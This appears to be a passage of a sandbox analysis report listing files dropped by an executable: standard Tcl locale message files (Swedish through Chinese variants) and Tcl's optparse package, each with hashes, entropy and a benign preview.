C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\sv.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	4.2825791311526515
Encrypted:	false
SSDEEP:	24:4azu8JLmAQVm/xTsS9CfxTlijQkcjKxFvivn:46hVQc/psJxT8kyhkn
MD5:	496D9183E2907199056CA236438498E1
SHA1:	D9C3BB4AEBD9BFD942593694E796A8C2FB9217B8
SHA-256:	4F32E1518BE3270F4DB80136FAC0031C385DD3CE133FAA534F141CF459C6113A
SHA-512:	FA7FDEDDC42C36D0A60688CDBFE9A2060FE6B2644458D1EBFC817F1E5D5879EB3E3C78B5E53E9D3F42E2E4D84C93C4A7377170986A437EFF404F310D1D72F135
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sv DAYS_OF_WEEK_ABBREV [list \. "s\u00f6"\. "m\u00e5"\. "ti"\. "on"\. "to"\. "fr"\. "l\u00f6"]. ::msgcat::mcset sv DAYS_OF_WEEK_FULL [list \. "s\u00f6ndag"\. "m\u00e5ndag"\. "tisdag"\. "onsdag"\. "torsdag"\. "fredag"\. "l\u00f6rdag"]. ::msgcat::mcset sv MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "maj"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "dec"\. ""]. ::msgcat::mcset sv MONTHS_FULL [list \. "januari"\. "februari"\. "mars"\. "april"\. "maj"\. "juni"\. "juli"\. "augusti"\. "september"\. "oktober"\. "november"\. "december"\. ""]. ::msgcat::mcset sv BCE "f.Kr.". ::msgcat::mcset sv C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\sw.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	991
Entropy (8bit):	4.024338627988864
Encrypted:	false
SSDEEP:	12:4EnLzu8r4mc4Go/4mtVfqRvodJ3fjESBToOqe3lHvFgdF6A3ixTZ6OM5mSYoC6Vy:4azu88kGDiq1qhbJ75V9gZSpgmSm9
MD5:	4DB24BA796D86ADF0441D2E75DE0C07E
SHA1:	9935B36FF2B1C6DFDE3EC375BC471A0E93D1F7E3
SHA-256:	6B5AB8AE265DB436B15D32263A8870EC55C7C0C07415B3F9BAAC37F73BC704E5
SHA-512:	BE7ED0559A73D01537A1E51941ED19F0FEC3F14F9527715CB119E89C97BD31CC6102934B0349D8D0554F5EDD9E3A02978F7DE4919C000A77BD353F7033A4A95B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sw DAYS_OF_WEEK_ABBREV [list \. "Jpi"\. "Jtt"\. "Jnn"\. "Jtn"\. "Alh"\. "Iju"\. "Jmo"]. ::msgcat::mcset sw DAYS_OF_WEEK_FULL [list \. "Jumapili"\. "Jumatatu"\. "Jumanne"\. "Jumatano"\. "Alhamisi"\. "Ijumaa"\. "Jumamosi"]. ::msgcat::mcset sw MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mar"\. "Apr"\. "Mei"\. "Jun"\. "Jul"\. "Ago"\. "Sep"\. "Okt"\. "Nov"\. "Des"\. ""]. ::msgcat::mcset sw MONTHS_FULL [list \. "Januari"\. "Februari"\. "Machi"\. "Aprili"\. "Mei"\. "Juni"\. "Julai"\. "Agosti"\. "Septemba"\. "Oktoba"\. "Novemba"\. "Desemba"\. ""]. ::msgcat::mcset sw BCE "KK". ::msgcat::mcset sw CE "BK".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ta.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1835
Entropy (8bit):	4.018233695396
Encrypted:	false
SSDEEP:	24:4azu83w0xn8dnzhmmlmYgtg+CKf6CO5ztFSLt8tCtGtv+CKf6CO5ztFSLt8tCtNu:46k0dgmmlmYgtE/t1H
MD5:	2D9C969318D1740049D28EBBD4F62C1D
SHA1:	121665081AFC33DDBCF679D7479BF0BC47FEF716
SHA-256:	30A142A48E57F194ECC3AA9243930F3E6E1B4E8B331A8CDD2705EC9C280DCCBB
SHA-512:	7C32907C39BFB89F558692535041B2A7FA18A64E072F5CF9AB95273F3AC5A7C480B4F953B13484A07AA4DA822613E27E78CC7B02ACE7A61E58FDB5507D7579C3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ta DAYS_OF_WEEK_FULL [list \. "\u0b9e\u0bbe\u0baf\u0bbf\u0bb1\u0bc1"\. "\u0ba4\u0bbf\u0b99\u0bcd\u0b95\u0bb3\u0bcd"\. "\u0b9a\u0bc6\u0bb5\u0bcd\u0bb5\u0bbe\u0baf\u0bcd"\. "\u0baa\u0bc1\u0ba4\u0ba9\u0bcd"\. "\u0bb5\u0bbf\u0baf\u0bbe\u0bb4\u0ba9\u0bcd"\. "\u0bb5\u0bc6\u0bb3\u0bcd\u0bb3\u0bbf"\. "\u0b9a\u0ba9\u0bbf"]. ::msgcat::mcset ta MONTHS_ABBREV [list \. "\u0b9c\u0ba9\u0bb5\u0bb0\u0bbf"\. "\u0baa\u0bc6\u0baa\u0bcd\u0bb0\u0bb5\u0bb0\u0bbf"\. "\u0bae\u0bbe\u0bb0\u0bcd\u0b9a\u0bcd"\. "\u0b8f\u0baa\u0bcd\u0bb0\u0bb2\u0bcd"\. "\u0bae\u0bc7"\. "\u0b9c\u0bc2\u0ba9\u0bcd"\. "\u0b9c\u0bc2\u0bb2\u0bc8"\. "\u0b86\u0b95\u0bb8\u0bcd\u0b9f\u0bcd"\. "\u0b9a\u0bc6\u0baa\u0bcd\u0b9f\u0bae\u0bcd\u0baa\u0bb0\u0bcd"\. "\u0b85\u0b95\u0bcd\u0b9f\u0bcb\u0baa\u0bb0\u0bcd"\. "\u0ba8\u0bb

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ta_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.815592015875268
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmosDv+9/LosK3v6rZosDo+3v+6f6HK:4EnLzu8eDvWbK3v6r5DF3vmq
MD5:	293456B39BE945C55536A5DD894787F0
SHA1:	94DEF0056C7E3082E58266BCE436A61C045EA394
SHA-256:	AA57D5FB5CC3F59EC6A3F99D7A5184403809AA3A3BC02ED0842507D4218B683D
SHA-512:	AB763F2932F2FF48AC18C8715F661F7405607E1818B53E0D0F32184ABE67714F03A39A9D0637D0D93CE43606C3E1D702D2A3F8660C288F61DFE852747B652B59
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ta_IN DATE_FORMAT "%d %M %Y". ::msgcat::mcset ta_IN TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset ta_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\te.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2102
Entropy (8bit):	4.034298184367717
Encrypted:	false
SSDEEP:	48:46x9mcib30Rgu1je5YdnULEP8l1je5YdnULEPt:hnIb39ufbufV
MD5:	0B9B124076C52A503A906059F7446077
SHA1:	F43A0F6CCBDDBDD5EA140C7FA55E9A82AB910A03
SHA-256:	42C34D02A6079C4D0D683750B3809F345637BC6D814652C3FB0B344B66B70C79
SHA-512:	234B9ACA1823D1D6B82583727B4EA68C014D59916B410CB9B158FA1954B6FC3767A261BD0B9F592AF0663906ADF11C2C9A3CC0A325CB1FF58F42A884AF7CB015
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset te DAYS_OF_WEEK_ABBREV [list \. "\u0c06\u0c26\u0c3f"\. "\u0c38\u0c4b\u0c2e"\. "\u0c2e\u0c02\u0c17\u0c33"\. "\u0c2c\u0c41\u0c27"\. "\u0c17\u0c41\u0c30\u0c41"\. "\u0c36\u0c41\u0c15\u0c4d\u0c30"\. "\u0c36\u0c28\u0c3f"]. ::msgcat::mcset te DAYS_OF_WEEK_FULL [list \. "\u0c06\u0c26\u0c3f\u0c35\u0c3e\u0c30\u0c02"\. "\u0c38\u0c4b\u0c2e\u0c35\u0c3e\u0c30\u0c02"\. "\u0c2e\u0c02\u0c17\u0c33\u0c35\u0c3e\u0c30\u0c02"\. "\u0c2c\u0c41\u0c27\u0c35\u0c3e\u0c30\u0c02"\. "\u0c17\u0c41\u0c30\u0c41\u0c35\u0c3e\u0c30\u0c02"\. "\u0c36\u0c41\u0c15\u0c4d\u0c30\u0c35\u0c3e\u0c30\u0c02"\. "\u0c36\u0c28\u0c3f\u0c35\u0c3e\u0c30\u0c02"]. ::msgcat::mcset te MONTHS_ABBREV [list \. "\u0c1c\u0c28\u0c35\u0c30\u0c3f"\. "\u0c2b\u0c3f\u0c2c\u0c4d\u0c30\u0c35\u0c30\u0c3f"\. "\u0c2e\u0c3e\u0c30\u0c4d\u0c1a\u

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\te_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.01781242466238
Encrypted:	false
SSDEEP:	12:4EnLzu8CjZWsn0sEjoD0sLvUFS3v6r5F3vMq:4azu84Z1nnEjoDnLvUFEvS5NvMq
MD5:	443E34E2E2BC7CB64A8BA52D99D6B4B6
SHA1:	D323C03747FE68E9B73F7E5C1E10B168A40F2A2F
SHA-256:	88BDAF4B25B684B0320A2E11D3FE77DDDD25E3B17141BD7ED1D63698C480E4BA
SHA-512:	5D8B267530EC1480BF3D571AABC2DA7B4101EACD7FB03B49049709E39D665DD7ACB66FD785BA2B5203DDC54C520434219D2D9974A1E9EE74C659FFAEA6B694E0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset te_IN AM "\u0c2a\u0c42\u0c30\u0c4d\u0c35\u0c3e\u0c39\u0c4d\u0c28". ::msgcat::mcset te_IN PM "\u0c05\u0c2a\u0c30\u0c3e\u0c39\u0c4d\u0c28". ::msgcat::mcset te_IN DATE_FORMAT "%d/%m/%Y". ::msgcat::mcset te_IN TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset te_IN DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\th.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2305
Entropy (8bit):	4.324407451316591
Encrypted:	false
SSDEEP:	48:46P4QX/wQT0H/u3rPc8JD57XWWND8QM70xJi53Ljtef:hQ556rVDWZcLOO
MD5:	D145F9DF0E339A2538662BD752F02E16
SHA1:	AFD97F8E8CC14D306DEDD78F8F395738E38A8569
SHA-256:	F9641A6EBE3845CE5D36CED473749F5909C90C52E405F074A6DA817EF6F39867
SHA-512:	E17925057560462F730CF8288856E46FA1F1D2A10B5D4D343257B7687A3855014D5C65B6C85AC55A7C77B8B355DB19F053C74B91DFA7BE7E9F933D9D4DA117F7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset th DAYS_OF_WEEK_ABBREV [list \. "\u0e2d\u0e32."\. "\u0e08."\. "\u0e2d."\. "\u0e1e."\. "\u0e1e\u0e24."\. "\u0e28."\. "\u0e2a."]. ::msgcat::mcset th DAYS_OF_WEEK_FULL [list \. "\u0e27\u0e31\u0e19\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c"\. "\u0e27\u0e31\u0e19\u0e08\u0e31\u0e19\u0e17\u0e23\u0e4c"\. "\u0e27\u0e31\u0e19\u0e2d\u0e31\u0e07\u0e04\u0e32\u0e23"\. "\u0e27\u0e31\u0e19\u0e1e\u0e38\u0e18"\. "\u0e27\u0e31\u0e19\u0e1e\u0e24\u0e2b\u0e31\u0e2a\u0e1a\u0e14\u0e35"\. "\u0e27\u0e31\u0e19\u0e28\u0e38\u0e01\u0e23\u0e4c"\. "\u0e27\u0e31\u0e19\u0e40\u0e2a\u0e32\u0e23\u0e4c"]. ::msgcat::mcset th MONTHS_ABBREV [list \. "\u0e21.\u0e04."\. "\u0e01.\u0e1e."\. "\u0e21\u0e35.\u0e04."\. "\u0e40\u0e21.\u0e22."\. "\u0e1e.\u0e04."\. "\u0e21\u0e34.\u0e22."\. "\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\tr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	4.32041719596907
Encrypted:	false
SSDEEP:	24:4azu80VAFVsNTib5vk5CfYTnGk65GmogWFLNvoKvWI3:46j8NTgwVTnlSJWFLJvWI3
MD5:	3AFAD9AD82A9C8B754E2FE8FC0094BAB
SHA1:	4EE3E2DF86612DB314F8D3E7214D7BE241AA1A32
SHA-256:	DF7C4BA67457CB47EEF0F5CA8E028FF466ACDD877A487697DC48ECAC7347AC47
SHA-512:	79A6738A97B7DB9CA4AE9A3BA1C3E56BE9AC67E71AE12154FD37A37D78892B6414A49E10E007DE2EB314942DC017B87FAB7C64B74EC9B889DAEBFF9B3B78E644
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset tr DAYS_OF_WEEK_ABBREV [list \. "Paz"\. "Pzt"\. "Sal"\. "\u00c7ar"\. "Per"\. "Cum"\. "Cmt"]. ::msgcat::mcset tr DAYS_OF_WEEK_FULL [list \. "Pazar"\. "Pazartesi"\. "Sal\u0131"\. "\u00c7ar\u015famba"\. "Per\u015fembe"\. "Cuma"\. "Cumartesi"]. ::msgcat::mcset tr MONTHS_ABBREV [list \. "Oca"\. "\u015eub"\. "Mar"\. "Nis"\. "May"\. "Haz"\. "Tem"\. "A\u011fu"\. "Eyl"\. "Eki"\. "Kas"\. "Ara"\. ""]. ::msgcat::mcset tr MONTHS_FULL [list \. "Ocak"\. "\u015eubat"\. "Mart"\. "Nisan"\. "May\u0131s"\. "Haziran"\. "Temmuz"\. "A\u011fustos"\. "Eyl\u00fcl"\. "Ekim"\. "Kas\u0131m"\. "Aral\u0131k"\. ""]. ::msgcat::mcset tr D

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\uk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	4.227105489438195
Encrypted:	false
SSDEEP:	48:46+ytFoQAQPHUKPo6eQ4QBuQ0WbQcJeyFQDWZlQD1QbS7XQn1Q7mDaSAJQ7GMLzM:hIpP5tzYhTUhAgEAE+
MD5:	458A38F894B296C83F85A53A92FF8520
SHA1:	CE26187875E334C712FDAB73E6B526247C6FE1CF
SHA-256:	CF2E78EF3322F0121E958098EF5F92DA008344657A73439EAC658CB6BF3D72BD
SHA-512:	3B8730C331CF29EF9DEDBC9D5A53C50D429931B8DA01EE0C20DAE25B995114966DB9BC576BE0696DEC088DB1D88B50DE2C376275AB5251F49F6544E546BBC531
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset uk DAYS_OF_WEEK_ABBREV [list \. "\u043d\u0434"\. "\u043f\u043d"\. "\u0432\u0442"\. "\u0441\u0440"\. "\u0447\u0442"\. "\u043f\u0442"\. "\u0441\u0431"]. ::msgcat::mcset uk DAYS_OF_WEEK_FULL [list \. "\u043d\u0435\u0434\u0456\u043b\u044f"\. "\u043f\u043e\u043d\u0435\u0434\u0456\u043b\u043e\u043a"\. "\u0432\u0456\u0432\u0442\u043e\u0440\u043e\u043a"\. "\u0441\u0435\u0440\u0435\u0434\u0430"\. "\u0447\u0435\u0442\u0432\u0435\u0440"\. "\u043f'\u044f\u0442\u043d\u0438\u0446\u044f"\. "\u0441\u0443\u0431\u043e\u0442\u0430"]. ::msgcat::mcset uk MONTHS_ABBREV [list \. "\u0441\u0456\u0447"\. "\u043b\u044e\u0442"\. "\u0431\u0435\u0440"\. "\u043a\u0432\u0456\u0442"\. "\u0442\u0440\u0430\u0432"\. "\u0447\u0435\u0440\u0432"\. "\u043b\u0438\u043f"\. "\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\vi.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	4.382223858419589
Encrypted:	false
SSDEEP:	24:4azu8pNu9UT5xDHy2W82yGWnf/oxHFBSWWS1D/avSv16:46Oixzy2IyhwZ17cU16
MD5:	3BD0AB95976D1B80A30547E4B23FD595
SHA1:	B3E5DC095973E46D8808326B2A1FC45046B5267F
SHA-256:	9C69094C0BD52D5AE8448431574EAE8EE4BE31EC2E8602366DF6C6BF4BC89A58
SHA-512:	2A68A7ADC385EDEA02E4558884A24DCC6328CC9F7D459CC03CC9F2D2F58CF6FF2103AD5B45C6D05B7E13F28408C6B05CDDF1DF60E822E5095F86A49052E19E59
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset vi DAYS_OF_WEEK_ABBREV [list \. "Th 2"\. "Th 3"\. "Th 4"\. "Th 5"\. "Th 6"\. "Th 7"\. "CN"]. ::msgcat::mcset vi DAYS_OF_WEEK_FULL [list \. "Th\u01b0\u0301 hai"\. "Th\u01b0\u0301 ba"\. "Th\u01b0\u0301 t\u01b0"\. "Th\u01b0\u0301 n\u0103m"\. "Th\u01b0\u0301 s\u00e1u"\. "Th\u01b0\u0301 ba\u0309y"\. "Chu\u0309 nh\u00e2\u0323t"]. ::msgcat::mcset vi MONTHS_ABBREV [list \. "Thg 1"\. "Thg 2"\. "Thg 3"\. "Thg 4"\. "Thg 5"\. "Thg 6"\. "Thg 7"\. "Thg 8"\. "Thg 9"\. "Thg 10"\. "Thg 11"\. "Thg 12"\. ""]. ::msgcat::mcset vi MONTHS_FULL [list \. "Th\u00e1ng m\u00f4\u0323t"\. "Th\u00e1ng hai"\. "Th\u00e1ng ba"\. "Th\u00e1ng t\u01b0"\. "Th\u00e1ng n\u0103m"\. "Th\u00e1ng s\

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\zh.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text, with very long lines (1598)
Category:	dropped
Size (bytes):	3330
Entropy (8bit):	4.469203967086526
Encrypted:	false
SSDEEP:	48:468jDI/Tw71xDqwPqDa8c3FLbYmhyvMDKbW0YGLuoEyzag29dL:hn7wRdNL
MD5:	9C33FFDD4C13D2357AB595EC3BA70F04
SHA1:	A87F20F7A331DEFC33496ECDA50D855C8396E040
SHA-256:	EF81B41EC69F67A394ECE2B3983B67B3D0C8813624C2BFA1D8A8C15B21608AC9
SHA-512:	E31EEE90660236BCD958F3C540F56B2583290BAD6086AE78198A0819A92CF2394C62DE3800FDDD466A8068F4CABDFBCA46A648D419B1D0103381BF428D721B13
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset zh DAYS_OF_WEEK_ABBREV [list \. "\u661f\u671f\u65e5"\. "\u661f\u671f\u4e00"\. "\u661f\u671f\u4e8c"\. "\u661f\u671f\u4e09"\. "\u661f\u671f\u56db"\. "\u661f\u671f\u4e94"\. "\u661f\u671f\u516d"]. ::msgcat::mcset zh DAYS_OF_WEEK_FULL [list \. "\u661f\u671f\u65e5"\. "\u661f\u671f\u4e00"\. "\u661f\u671f\u4e8c"\. "\u661f\u671f\u4e09"\. "\u661f\u671f\u56db"\. "\u661f\u671f\u4e94"\. "\u661f\u671f\u516d"]. ::msgcat::mcset zh MONTHS_ABBREV [list \. "\u4e00\u6708"\. "\u4e8c\u6708"\. "\u4e09\u6708"\. "\u56db\u6708"\. "\u4e94\u6708"\. "\u516d\u6708"\. "\u4e03\u6708"\. "\u516b\u6708"\. "\u4e5d\u6708"\. "\u5341\u6708"\. "\u5341\u4e00\u6708"\. "\u5341\u4e8c\u6708"\. ""]. ::msgcat::mcset zh MONTHS_FULL [list \.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\zh_cn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	312
Entropy (8bit):	5.1281364096481665
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoX5HoHJ+3vtfNrFLoHJ+3v6MY+oXa+3vYq9:4EnLzu8d5eJ+3vtNEJ+3v6L1L3vYq9
MD5:	EB94B41551EAAFFA5DF4F406C7ACA3A4
SHA1:	B0553108BDE43AA7ED362E2BFFAF1ABCA1567491
SHA-256:	85F91CF6E316774AA5D0C1ECA85C88E591FD537165BB79929C5E6A1CA99E56C8
SHA-512:	A0980A6F1AD9236647E4F18CC104999DB2C523153E8716FD0CFE57320E906DF80378A5C0CDE132F2C53F160F5304EAF34910D7D1BB5753987D74AFBC0B6F75F3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset zh_CN DATE_FORMAT "%Y-%m-%e". ::msgcat::mcset zh_CN TIME_FORMAT "%k:%M:%S". ::msgcat::mcset zh_CN TIME_FORMAT_12 "%P%I\u65f6%M\u5206%S\u79d2". ::msgcat::mcset zh_CN DATE_TIME_FORMAT "%Y-%m-%e %k:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\zh_hk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	752
Entropy (8bit):	4.660158381384211
Encrypted:	false
SSDEEP:	12:4EnLzu8qmDBHZLX+TyW4OU5yPgM9Lz+SC3WwLNMW3v6G3v3Ww+:4azu8qyFOw3WwLrvTv3Ww+
MD5:	D8C6BFBFCE44B6A8A038BA44CB3DB550
SHA1:	FBD609576E65B56EDA67FD8A1801A27B43DB5486
SHA-256:	D123E0B4C2614F680808B58CCA0C140BA187494B2C8BCF8C604C7EB739C70882
SHA-512:	3455145CF5C77FC847909AB1A283452D0C877158616C8AA7BDFFC141B86B2E66F9FF45C3BB6A4A9D758D2F8FFCB1FE919477C4553EFE527C0EDC912EBBCAABCD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset zh_HK DAYS_OF_WEEK_ABBREV [list \. "\u65e5"\. "\u4e00"\. "\u4e8c"\. "\u4e09"\. "\u56db"\. "\u4e94"\. "\u516d"]. ::msgcat::mcset zh_HK MONTHS_ABBREV [list \. "1\u6708"\. "2\u6708"\. "3\u6708"\. "4\u6708"\. "5\u6708"\. "6\u6708"\. "7\u6708"\. "8\u6708"\. "9\u6708"\. "10\u6708"\. "11\u6708"\. "12\u6708"\. ""]. ::msgcat::mcset zh_HK DATE_FORMAT "%Y\u5e74%m\u6708%e\u65e5". ::msgcat::mcset zh_HK TIME_FORMAT_12 "%P%I:%M:%S". ::msgcat::mcset zh_HK DATE_TIME_FORMAT "%Y\u5e74%m\u6708%e\u65e5 %P%I:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\zh_sg.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.020358587042703
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoOpxoPpSocvNLohX3v6ZhLoh+3v6fJ:4EnLzu8WvNo3v6b3vu
MD5:	E0BC93B8F050D6D80B8173FF4FA4D7B7
SHA1:	231FF1B6F859D0261F15D2422DF09E756CE50CCB
SHA-256:	2683517766AF9DA0D87B7A862DE9ADEA82D9A1454FC773A9E3C1A6D92ABA947A
SHA-512:	8BA6EAC5F71167B83A58B47123ACF7939C348FE2A0CA2F092FE9F60C0CCFB901ADA0E8F2101C282C39BAE86C918390985731A8F66E481F8074732C37CD50727F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset zh_SG AM "\u4e0a\u5348". ::msgcat::mcset zh_SG PM "\u4e2d\u5348". ::msgcat::mcset zh_SG DATE_FORMAT "%d %B %Y". ::msgcat::mcset zh_SG TIME_FORMAT_12 "%P %I:%M:%S". ::msgcat::mcset zh_SG DATE_TIME_FORMAT "%d %B %Y %P %I:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\zh_tw.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.08314435797197
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoAykaRULH/XRxvBoAyjZRULH5oAyU/G0OZoAyxW3v6ZhLoAR:4EnLzu8I5xEOKRWW3v6w3v8AC
MD5:	9CD17E7F28186E0E71932CC241D1CBB1
SHA1:	AF1EE536AABB8198BA88D3474ED49F76A37E89FF
SHA-256:	D582406C51A3DB1EADF6507C50A1F85740FDA7DA8E27FC1438FEB6242900CB12
SHA-512:	4712DD6A27A09EA339615FC3D17BC8E4CD64FF12B2B8012E01FD4D3E7789263899FA05EDDB77044DC7B7D32B3DC55A52B8320D93499DF9A6799A8E4D07174525
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset zh_TW BCE "\u6c11\u570b\u524d". ::msgcat::mcset zh_TW CE "\u6c11\u570b". ::msgcat::mcset zh_TW DATE_FORMAT "%Y/%m/%e". ::msgcat::mcset zh_TW TIME_FORMAT_12 "%P %I:%M:%S". ::msgcat::mcset zh_TW DATE_TIME_FORMAT "%Y/%m/%e %P %I:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\opt0.4\optparse.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	32944
Entropy (8bit):	4.566500533811999
Encrypted:	false
SSDEEP:	768:UcgIWNogzfwKFJ7glWLhTBh3agIQpojk8Cmy8A2Q:mIG1jM8hqgIfQlmy8/Q
MD5:	4BF0D2DB3BEFD60D03845D413FA09184
SHA1:	22389776C25FB3260EE205ADCC084764CFF2D246
SHA-256:	217074E45FC877CEDDB0EB10FCA94FCF43DC235DD8DC4BD1C9B6EC3121AE726C
SHA-512:	EB8E1619B868B18084F99733294B727C5B485AFC020A70EE0530D1AB6646C5265F88B8970314566353812E5E87111BFF2E328832C3755679F8884CB1603E18A1
Malicious:	false
Reputation:	unknown
Preview:	# optparse.tcl --.#.# (private) Option parsing package.# Primarily used internally by the safe:: code..#.#.WARNING: This code will go away in a future release.#.of Tcl. It is NOT supported and you should not rely.#.on it. If your code does rely on this package you.#.may directly incorporate this code into your application...package require Tcl 8.2.# When this version number changes, update the pkgIndex.tcl file.# and the install directory in the Makefiles..package provide opt 0.4.5..namespace eval ::tcl {.. # Exported APIs. namespace export OptKeyRegister OptKeyDelete OptKeyError OptKeyParse \. OptProc OptProcArgGiven OptParse \.. Lempty Lget \. Lassign Lvarpop Lvarpop1 Lvarset Lvarincr \. SetMax SetMin...################# Example of use / 'user documentation' ###################.. proc OptCreateTestProc {} {...# Defines ::tcl::OptParseTest as a test proc with parsed arguments..# (can't be defined before the code below is

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\opt0.4\pkgIndex.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	607
Entropy (8bit):	4.652658850873767
Encrypted:	false
SSDEEP:	12:jHxJRuMopS42wyGlTajUA43KXks4L1GbyvXJQ+pBbX:bvRmS42wyGlTah9XkbL7XJBB
MD5:	F46D9D88D3CC6634963091B3BDC07610
SHA1:	67D9FEFB7A5881A84E8021F948747826550C8DAC
SHA-256:	A088E549D18ADE683273E31C004DAA7E614642FE801AFB3861EB85445250186B
SHA-512:	BD216B84C029CB851A7C6476CB14F3508D963AB9680546F50BB3C542B713164EC0BBC2FB85F63613245184D09935964D9025E35802D2EF1600053A7F7F0A031C
Malicious:	false
Reputation:	unknown
